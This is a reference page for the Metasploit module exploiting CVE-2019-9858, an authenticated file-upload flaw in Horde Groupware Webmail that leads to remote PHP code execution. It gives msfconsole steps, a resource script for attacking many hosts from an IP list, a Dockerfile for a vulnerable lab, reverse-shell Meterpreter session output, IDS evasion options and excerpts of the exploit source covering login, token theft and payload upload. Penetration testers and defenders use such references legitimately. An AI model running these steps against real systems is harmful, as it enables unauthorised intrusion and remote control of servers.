Horde Form File Upload Vulnerability - Metasploit
This page contains detailed information about how to use the exploit/multi/http/horde_form_file_upload metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Horde Form File Upload Vulnerability
Module: exploit/multi/http/horde_form_file_upload
Source code: modules/exploits/multi/http/horde_form_file_upload.rb
Disclosure date: 2019-03-24
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-9858
Horde Groupware Webmail contains a flaw that allows an authenticated remote attacker to execute arbitrary PHP code. The exploitation requires the Turba subcomponent to be installed. This module was tested on Horde versions 5.2.22 and 5.2.17 running Horde Form subcomponent < 2.0.19.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using horde_form_file_upload against a single host
Normally, you can use exploit/multi/http/horde_form_file_upload this way:
msf > use exploit/multi/http/horde_form_file_upload
msf exploit(horde_form_file_upload) > show targets
... a list of targets ...
msf exploit(horde_form_file_upload) > set TARGET target-id
msf exploit(horde_form_file_upload) > show options
... show and set options ...
msf exploit(horde_form_file_upload) > exploit
Using horde_form_file_upload against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your horde_form_file_upload will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/horde_form_file_upload")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: The username to authenticate with
PASSWORD: The password to authenticate with
Knowledge Base
Horde Groupware Webmail is a popular open-source groupware platform written in PHP. A vulnerability allows an authenticated, unprivileged user to create a malicious PHP file under the web root and gain arbitrary code execution on the server.
Vulnerable Application
The Horde subcomponent Horde Form < 2.0.19 is affected. This module was specifically tested against Horde Groupware Webmail Edition 5.2.22 and 5.2.17 with Horde Form 2.0.18 installed with PEAR on Debian.
Docker install on Ubuntu 18.04
Please folow these steps to setup a vulnerable version of Horde in Docker on a Ubuntu.
- Set up a Ubuntu 18.04 box.
- Open a terminal, and enter:
sudo apt-get install docker.io
. Make sure Docker is properly configured and your current user has permession to use it. - Enter:
mkdir horde_form_file_upload
to create a folder. - Enter:
cd horde_form_file_upload
to enter that folder. - Create a
Dockerfile
in it with the following content.
FROM debian
RUN apt-get update
RUN apt-get install --yes --no-install-recommends \
apache2 \
ca-certificates \
dovecot-imapd \
libapache2-mod-php \
mysql-server \
php-mysqli \
php-pear \
rsyslog
RUN pear upgrade PEAR
RUN pear channel-discover pear.horde.org
RUN pear install horde/horde_role
RUN rm -r /var/www/html/ && mkdir /var/www/html/
RUN echo /var/www/html/ | pear run-scripts horde/Horde_Role
RUN pear install -a -B horde/webmail-5.2.22
# Uninstall end reinstall the vulnerable version
RUN pear uninstall -n horde/Horde_Form
RUN pear install -a -B horde/Horde_Form-2.0.18
RUN sed -i "/'secure' => 'tls',/d" /var/www/html/imp/config/backends.php
RUN chown -R www-data:www-data /var/www/html/
RUN useradd -m -G mail user && echo 'user:user' | chpasswd
RUN echo 'disable_plaintext_auth = no' | tee /etc/dovecot/conf.d/99-auth.conf
ENTRYPOINT \
/etc/init.d/mysql start && \
echo 'CREATE DATABASE IF NOT EXISTS horde;' | mysql && \
echo 'CREATE USER IF NOT EXISTS horde;' | mysql && \
echo 'GRANT ALL ON horde.* TO horde IDENTIFIED BY "horde";' | mysql && \
{ echo mysqli; sleep 0.3; \
echo horde; sleep 0.3; \
echo horde; sleep 0.3; \
echo tcp; sleep 0.3; \
echo localhost; sleep 0.3; \
echo; sleep 0.3; \
echo horde; sleep 0.3; \
echo; sleep 0.3; \
echo false; sleep 0.3; \
echo; sleep 0.3; \
echo 1; sleep 0.3; } | webmail-install && \
dovecot && \
/etc/init.d/apache2 start && \
tail -F /var/log/apache2/access.log /var/log/syslog
- Enter:
docker build . -t horde-img
to build the Docker image. - Enter:
docker run -p8888:80 --name horde-inst horde-img
to run the Docker instance with the namehorde-inst
. - Get the Docker host ip for reverse connection. In Linux, enter:
ip -4 addr show docker0 | grep -Po 'inet \K[\d.]+'
.
Verification Steps
After setting up Horde, you can use your exploit module:
- Start msfconsole
- Do:
use exploit/multi/http/horde_form_file_upload
- Do:
set RHOSTS 127.0.0.1
- Do:
set RPORT 8888
- Do:
set payload php/meterpreter/reverse_tcp
- Do:
set LHOST [HOST IP]
- Do:
set VHOST horde.lab
- Do:
set USERNAME user
- Do:
set PASSWORD user
- Do:
exploit
- And you should get a session
Scenarios
Horde Groupware Webmail Edition 5.2.22 with Horde Form 2.0.18 on a Debian stretch on Docker running on an Ubuntu 16.04
msf exploit(multi/http/horde_form_file_upload) > exploit
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Uploading payload to ../var/www/html/static/mxkyfrlztogn.php
[*] Sending stage (38247 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:47720) at 2019-03-29 15:27:53 +0000
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the multi/http/horde_form_file_upload exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/horde_form_file_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/horde_form_file_upload) > show info
Name: Horde Form File Upload Vulnerability
Module: exploit/multi/http/horde_form_file_upload
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-03-24
Provided by:
Ratiosec
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
USERNAME yes The username to authenticate with
VHOST no HTTP server virtual host
WEB_ROOT /var/www/html yes Path to the web root
Payload information:
Description:
Horde Groupware Webmail contains a flaw that allows an authenticated
remote attacker to execute arbitrary PHP code. The exploitation
requires the Turba subcomponent to be installed. This module was
tested on Horde versions 5.2.22 and 5.2.17 running Horde Form
subcomponent < 2.0.19.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-9858
https://www.ratiosec.com/2019/horde-groupware-webmail-authenticated-arbitrary-file-injection-to-rce/
Module Options
This is a complete list of options available in the multi/http/horde_form_file_upload exploit:
msf6 exploit(multi/http/horde_form_file_upload) > show options
Module options (exploit/multi/http/horde_form_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
USERNAME yes The username to authenticate with
VHOST no HTTP server virtual host
WEB_ROOT /var/www/html yes Path to the web root
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/horde_form_file_upload exploit:
msf6 exploit(multi/http/horde_form_file_upload) > show advanced
Module advanced options (exploit/multi/http/horde_form_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/horde_form_file_upload module can exploit:
msf6 exploit(multi/http/horde_form_file_upload) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/horde_form_file_upload exploit:
msf6 exploit(multi/http/horde_form_file_upload) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/horde_form_file_upload exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/horde_form_file_upload) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No response received from the target.
Here is a relevant code snippet related to the "No response received from the target." error message:
66: res = send_request_cgi(
67: 'method' => 'GET',
68: 'uri' => normalize_uri(target_uri, 'login.php')
69: )
70:
71: fail_with(Failure::Unreachable, 'No response received from the target.') unless res
72:
73: session_cookie = res.get_cookies
74: vprint_status("Logging in...")
75: res = send_request_cgi(
76: 'method' => 'POST',
Unable to login. Verify USERNAME/PASSWORD or TARGETURI.
Here is a relevant code snippet related to the "Unable to login. Verify USERNAME/PASSWORD or TARGETURI." error message:
106:
107: def exploit
108: vprint_status("Authenticating using #{username}:#{password}")
109:
110: cookie = horde_login(username, password)
111: fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? || cookie.empty?
112: vprint_good("Authenticated to Horde.")
113:
114: tokens = get_tokens(cookie)
115: fail_with(Failure::Unknown, 'Error extracting tokens.') if tokens.nil?
116: source_token, form_token, secret_cookie = tokens
Error extracting tokens.
Here is a relevant code snippet related to the "Error extracting tokens." error message:
110: cookie = horde_login(username, password)
111: fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? || cookie.empty?
112: vprint_good("Authenticated to Horde.")
113:
114: tokens = get_tokens(cookie)
115: fail_with(Failure::Unknown, 'Error extracting tokens.') if tokens.nil?
116: source_token, form_token, secret_cookie = tokens
117:
118: vprint_good("Tokens \"#{source_token}\", \"#{form_token}\", and cookie \"#{secret_cookie}\" found.")
119:
120: payload_name = Rex::Text.rand_text_alpha_lower(10..12)
Unable to upload payload to <PAYLOAD_PATH_TRAVERSAL>.
Here is a relevant code snippet related to the "Unable to upload payload to <PAYLOAD_PATH_TRAVERSAL>." error message:
136: 'ctype' => "multipart/form-data; boundary=#{data.bound}",
137: 'data' => post_data,
138: 'cookie' => cookie + ' ' + secret_cookie
139: )
140:
141: fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200
142:
143: payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php")
144:
145: vprint_status("Executing the payload at #{payload_url}.")
146: res = send_request_cgi(
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11657 Merged Pull Request: Add Horde Form File Upload
References
- CVE-2019-9858
- https://www.ratiosec.com/2019/horde-groupware-webmail-authenticated-arbitrary-file-injection-to-rce/
See Also
Check also the following modules related to this module:
- exploit/multi/http/horde_csv_rce
- exploit/multi/http/horde_href_backdoor
- exploit/unix/webapp/horde_unserialize_exec
- exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
- exploit/multi/http/zpanel_information_disclosure_rce
- exploit/multi/http/apache_jetspeed_file_upload
- exploit/multi/http/bolt_file_upload
- exploit/multi/http/clipbucket_fileupload_exec
- exploit/multi/http/coldfusion_ckeditor_file_upload
- exploit/multi/http/dotcms_file_upload_rce
- exploit/multi/http/eventlog_file_upload
- exploit/multi/http/gitlab_file_read_rce
- exploit/multi/http/hp_sitescope_uploadfileshandler
- exploit/multi/http/jboss_deploymentfilerepository
- exploit/multi/http/monstra_fileupload_exec
- exploit/multi/http/nibbleblog_file_upload
- exploit/multi/http/opmanager_socialit_file_upload
- exploit/multi/http/oracle_ats_file_upload
- exploit/multi/http/phpfilemanager_rce
- exploit/multi/http/playsms_filename_exec
- exploit/multi/http/rocket_servergraph_file_requestor_rce
- exploit/multi/http/sit_file_upload
- exploit/multi/http/sysaid_auth_file_upload
- exploit/multi/http/sysaid_rdslogs_file_upload
- exploit/multi/http/uptime_file_upload_1
- exploit/multi/http/uptime_file_upload_2
- exploit/multi/http/webnms_file_upload
- exploit/multi/http/wp_dnd_mul_file_rce
- exploit/multi/http/wp_file_manager_rce
- exploit/multi/http/wp_simple_file_list_rce
- exploit/multi/http/wso2_file_upload_rce
Related Nessus plugins:
- Debian DLA-1822-1 : php-horde-form security update
- Debian DSA-4468-1 : php-horde-form - security update
Authors
- Ratiosec
Version
This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.